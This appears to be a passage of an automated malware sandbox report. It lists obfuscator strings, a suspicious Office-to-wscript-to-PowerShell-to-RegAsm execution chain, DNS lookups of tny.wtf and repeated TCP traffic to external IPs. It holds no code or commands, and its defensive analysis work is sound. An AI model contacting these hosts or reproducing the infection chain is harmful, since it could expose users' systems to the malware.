Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumSignatures source: powershell.exe, 00000009.00000002.447875101.00000000034F9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.451782581.00000000061C0000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetFieldMarshal source: powershell.exe, 00000009.00000002.447875101.00000000034F9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.451782581.00000000061C0000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumUserStrings source: powershell.exe, 00000009.00000002.447875101.00000000034F9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.451782581.00000000061C0000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetRVA source: powershell.exe, 00000009.00000002.447875101.00000000034F9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.451782581.00000000061C0000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefinePermissionSet source: powershell.exe, 00000009.00000002.447875101.00000000034F9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.451782581.00000000061C0000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetMethodProps source: powershell.exe, 00000009.00000002.447875101.00000000034F9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.451782581.00000000061C0000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetPropertyProps source: powershell.exe, 00000009.00000002.447875101.00000000034F9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.451782581.00000000061C0000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetUserString source: powershell.exe, 00000009.00000002.447875101.00000000034F9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.451782581.00000000061C0000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetInterfaceImplProps source: powershell.exe, 00000009.00000002.447875101.00000000034F9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.451782581.00000000061C0000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetFieldMarshal source: powershell.exe, 00000009.00000002.447875101.00000000034F9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.451782581.00000000061C0000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineTypeDef source: powershell.exe, 00000009.00000002.447875101.00000000034F9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.451782581.00000000061C0000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumTypeDefs source: powershell.exe, 00000009.00000002.447875101.00000000034F9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.451782581.00000000061C0000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineImportMember source: powershell.exe, 00000009.00000002.447875101.00000000034F9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.451782581.00000000061C0000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumInterfaceImpls source: powershell.exe, 00000009.00000002.447875101.00000000034F9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.451782581.00000000061C0000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetMemberProps source: powershell.exe, 00000009.00000002.447875101.00000000034F9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.451782581.00000000061C0000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineImportType source: powershell.exe, 00000009.00000002.447875101.00000000034F9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.451782581.00000000061C0000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.GetTokenFromSig source: powershell.exe, 00000009.00000002.447875101.00000000034F9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.451782581.00000000061C0000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: System.Collections.Generic.IEnumerable<dnlib.DotNet.Pdb.PdbScope>.GetEnumerator source: powershell.exe, 00000009.00000002.447875101.00000000034F9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.451782581.00000000061C0000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumEvents source: powershell.exe, 00000009.00000002.447875101.00000000034F9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.451782581.00000000061C0000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetParamForMethodIndex source: powershell.exe, 00000009.00000002.447875101.00000000034F9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.451782581.00000000061C0000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineField source: powershell.exe, 00000009.00000002.447875101.00000000034F9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.451782581.00000000061C0000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumMethodsWithName source: powershell.exe, 00000009.00000002.447875101.00000000034F9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.451782581.00000000061C0000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.IsGlobal source: powershell.exe, 00000009.00000002.447875101.00000000034F9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.451782581.00000000061C0000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetEventProps source: powershell.exe, 00000009.00000002.447875101.00000000034F9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.451782581.00000000061C0000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: H:\New Private Panell Src 3.0 New\New Private Panell Src 3.0 2025\New Private Panell Src 3.0\dnlib-fuscator-master win7\src\obj\Debug\dnlib.pdb source: powershell.exe, 00000009.00000002.447875101.00000000034F9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.451782581.00000000061C0000.00000004.08000000.00040000.00000000.sdmp

Software Vulnerabilities

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Process created: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

Suspicious execution chain found

Source: C:\Windows\SysWOW64\wscript.exe	Child: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Child: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Source: global traffic	DNS query: name: tny.wtf
Source: global traffic	DNS query: name: tny.wtf
Source: global traffic	DNS query: name: tny.wtf
Source: global traffic	DNS query: name: tny.wtf
Source: global traffic	DNS query: name: tny.wtf
Source: global traffic	DNS query: name: tny.wtf

Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 188.114.97.3:80
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 192.227.225.166:80
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 192.227.225.166:80
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 198.46.176.133:80
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 192.227.225.166:80

Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 188.114.97.3:80
Source: global traffic	TCP traffic: 188.114.97.3:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 188.114.97.3:80
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 188.114.97.3:80
Source: global traffic	TCP traffic: 188.114.97.3:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 188.114.97.3:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 188.114.97.3:80
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 192.227.225.166:80
Source: global traffic	TCP traffic: 192.227.225.166:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 192.227.225.166:80
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 192.227.225.166:80
Source: global traffic	TCP traffic: 192.227.225.166:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.227.225.166:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.227.225.166:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.227.225.166:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 192.227.225.166:80
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 192.227.225.166:80
Source: global traffic	TCP traffic: 192.227.225.166:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.227.225.166:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 192.227.225.166:80
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 192.227.225.166:80
Source: global traffic	TCP traffic: 192.227.225.166:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.227.225.166:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 192.227.225.166:80
Source: global traffic	TCP traffic: 192.227.225.166:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.227.225.166:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 192.227.225.166:80
Source: global traffic	TCP traffic: 192.227.225.166:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 192.227.225.166:80
Source: global traffic	TCP traffic: 192.227.225.166:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 192.227.225.166:80
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 192.227.225.166:80
Source: global traffic	TCP traffic: 192.227.225.166:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.227.225.166:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 192.227.225.166:80
Source: global traffic	TCP traffic: 192.227.225.166:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.227.225.166:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.227.225.166:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 192.227.225.166:80
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 192.227.225.166:80
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 192.227.225.166:80
Source: global traffic	TCP traffic: 192.227.225.166:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 192.227.225.166:80
Source: global traffic	TCP traffic: 192.227.225.166:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.227.225.166:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 192.227.225.166:80
Source: global traffic	TCP traffic: 192.227.225.166:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.227.225.166:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 192.227.225.166:80
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 192.227.225.166:80
Source: global traffic	TCP traffic: 192.227.225.166:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.227.225.166:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 192.227.225.166:80
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 192.227.225.166:80
Source: global traffic	TCP traffic: 192.227.225.166:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.227.225.166:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.227.225.166:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 192.227.225.166:80
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 192.227.225.166:80
Source: global traffic	TCP traffic: 192.227.225.166:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.227.225.166:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 192.227.225.166:80
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 192.227.225.166:80
Source: global traffic	TCP traffic: 192.227.225.166:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.227.225.166:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 192.227.225.166:80
Source: global traffic	TCP traffic: 192.227.225.166:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.227.225.166:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 192.227.225.166:80
Source: global traffic	TCP traffic: 192.227.225.166:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.227.225.166:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.227.225.166:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 192.227.225.166:80
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 192.227.225.166:80
Source: global traffic	TCP traffic: 192.227.225.166:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.227.225.166:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 192.227.225.166:80
Source: global traffic	TCP traffic: 192.227.225.166:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.227.225.166:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 192.227.225.166:80
Source: global traffic	TCP traffic: 192.227.225.166:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 192.227.225.166:80
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 192.227.225.166:80
Source: global traffic	TCP traffic: 192.227.225.166:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 192.227.225.166:80
Source: global traffic	TCP traffic: 192.227.225.166:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.227.225.166:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 192.227.225.166:80
Source: global traffic	TCP traffic: 192.227.225.166:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.227.225.166:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 192.227.225.166:80
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 192.227.225.166:80
Source: global traffic	TCP traffic: 192.227.225.166:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.227.225.166:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 192.227.225.166:80
Source: global traffic	TCP traffic: 192.227.225.166:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.227.225.166:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 192.227.225.166:80
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 192.227.225.166:80
Source: global traffic	TCP traffic: 192.227.225.166:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.227.225.166:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.227.225.166:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 192.227.225.166:80
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 192.227.225.166:80
Source: global traffic	TCP traffic: 192.227.225.166:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.227.225.166:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 192.227.225.166:80
Source: global traffic	TCP traffic: 192.227.225.166:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.227.225.166:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 192.227.225.166:80
Source: global traffic	TCP traffic: 192.227.225.166:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.227.225.166:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 192.227.225.166:80
Source: global traffic	TCP traffic: 192.227.225.166:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.227.225.166:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.227.225.166:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 192.227.225.166:80
Source: global traffic	TCP traffic: 192.227.225.166:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.227.225.166:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 192.227.225.166:80
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 192.227.225.166:80
Source: global traffic	TCP traffic: 192.227.225.166:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.227.225.166:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 192.227.225.166:80
Source: global traffic	TCP traffic: 192.227.225.166:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.227.225.166:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 192.227.225.166:80
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 192.227.225.166:80
Source: global traffic	TCP traffic: 192.227.225.166:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.227.225.166:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 192.227.225.166:80
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 192.227.225.166:80
Source: global traffic	TCP traffic: 192.227.225.166:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.227.225.166:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 192.227.225.166:80
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 192.227.225.166:80
Source: global traffic	TCP traffic: 192.227.225.166:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 192.227.225.166:80
Source: global traffic	TCP traffic: 192.227.225.166:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 192.227.225.166:80
Source: global traffic	TCP traffic: 192.227.225.166:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.227.225.166:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 192.227.225.166:80
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 192.227.225.166:80
Source: global traffic	TCP traffic: 192.227.225.166:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.227.225.166:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 192.227.225.166:80
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 188.114.97.3:80
Source: global traffic	TCP traffic: 188.114.97.3:80 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 188.114.97.3:80
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 188.114.97.3:80
Source: global traffic	TCP traffic: 188.114.97.3:80 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 188.114.97.3:80 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 188.114.97.3:80
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 188.114.97.3:80
Source: global traffic	TCP traffic: 188.114.97.3:80 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 188.114.97.3:80 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 188.114.97.3:80
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 188.114.97.3:80
Source: global traffic	TCP traffic: 188.114.97.3:80 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 188.114.97.3:80 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 188.114.97.3:80
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 188.114.97.3:80
Source: global traffic	TCP traffic: 188.114.97.3:80 -> 192.168.2.22:49168
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 188.114.97.3:80
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 188.114.97.3:80
Source: global traffic	TCP traffic: 188.114.97.3:80 -> 192.168.2.22:49168
Source: global traffic	TCP traffic: 188.114.97.3:80 -> 192.168.2.22:49168
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 188.114.97.3:80
Source: global traffic	TCP traffic: 188.114.97.3:80 -> 192.168.2.22:49168
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 188.114.97.3:80
Source: global traffic	TCP traffic: 192.227.225.166:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 192.227.225.166:80
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 188.114.97.3:80
Source: global traffic	TCP traffic: 188.114.97.3:80 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 188.114.97.3:80 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 188.114.97.3:80
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 192.227.225.166:80
Source: global traffic	TCP traffic: 192.227.225.166:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 192.227.225.166:80
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 192.227.225.166:80
Source: global traffic	TCP traffic: 192.227.225.166:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.227.225.166:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 192.227.225.166:80
Source: global traffic	TCP traffic: 192.227.225.166:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.227.225.166:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 192.227.225.166:80
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 192.227.225.166:80
Source: global traffic	TCP traffic: 192.227.225.166:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.227.225.166:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 192.227.225.166:80
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 192.227.225.166:80
Source: global traffic	TCP traffic: 192.227.225.166:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.227.225.166:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 192.227.225.166:80
Source: global traffic	TCP traffic: 192.227.225.166:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.227.225.166:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 192.227.225.166:80
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 192.227.225.166:80
Source: global traffic	TCP traffic: 192.227.225.166:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 192.227.225.166:80
Source: global traffic	TCP traffic: 192.227.225.166:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 192.227.225.166:80
Source: global traffic	TCP traffic: 192.227.225.166:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 192.227.225.166:80
Source: global traffic	TCP traffic: 192.227.225.166:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 192.227.225.166:80
Source: global traffic	TCP traffic: 192.227.225.166:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 192.227.225.166:80
Source: global traffic	TCP traffic: 192.227.225.166:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 192.227.225.166:80
Source: global traffic	TCP traffic: 192.227.225.166:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.227.225.166:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 192.227.225.166:80
Source: global traffic	TCP traffic: 192.227.225.166:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.227.225.166:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 192.227.225.166:80
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 192.227.225.166:80
Source: global traffic	TCP traffic: 192.227.225.166:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.227.225.166:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 192.227.225.166:80
Source: global traffic	TCP traffic: 192.227.225.166:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.227.225.166:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 192.227.225.166:80
Source: global traffic	TCP traffic: 192.227.225.166:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.227.225.166:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 192.227.225.166:80
Source: global traffic	TCP traffic: 192.227.225.166:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.227.225.166:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 192.227.225.166:80
Source: global traffic	TCP traffic: 192.227.225.166:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.227.225.166:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.227.225.166:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 192.227.225.166:80
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 192.227.225.166:80
Source: global traffic	TCP traffic: 192.227.225.166:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.227.225.166:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 192.227.225.166:80
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 192.227.225.166:80
Source: global traffic	TCP traffic: 192.227.225.166:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.227.225.166:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 192.227.225.166:80
Source: global traffic	TCP traffic: 192.227.225.166:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.227.225.166:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 192.227.225.166:80
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 192.227.225.166:80
Source: global traffic	TCP traffic: 192.227.225.166:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.227.225.166:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 192.227.225.166:80
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 192.227.225.166:80
Source: global traffic	TCP traffic: 192.227.225.166:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 192.227.225.166:80
Source: global traffic	TCP traffic: 192.227.225.166:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.227.225.166:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 192.227.225.166:80
Source: global traffic	TCP traffic: 192.227.225.166:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.227.225.166:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 192.227.225.166:80
Source: global traffic	TCP traffic: 192.227.225.166:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.227.225.166:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.227.225.166:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 192.227.225.166:80
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 192.227.225.166:80
Source: global traffic	TCP traffic: 192.227.225.166:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.227.225.166:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 192.227.225.166:80
Source: global traffic	TCP traffic: 192.227.225.166:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.227.225.166:80 -> 192.168.2.22:49170
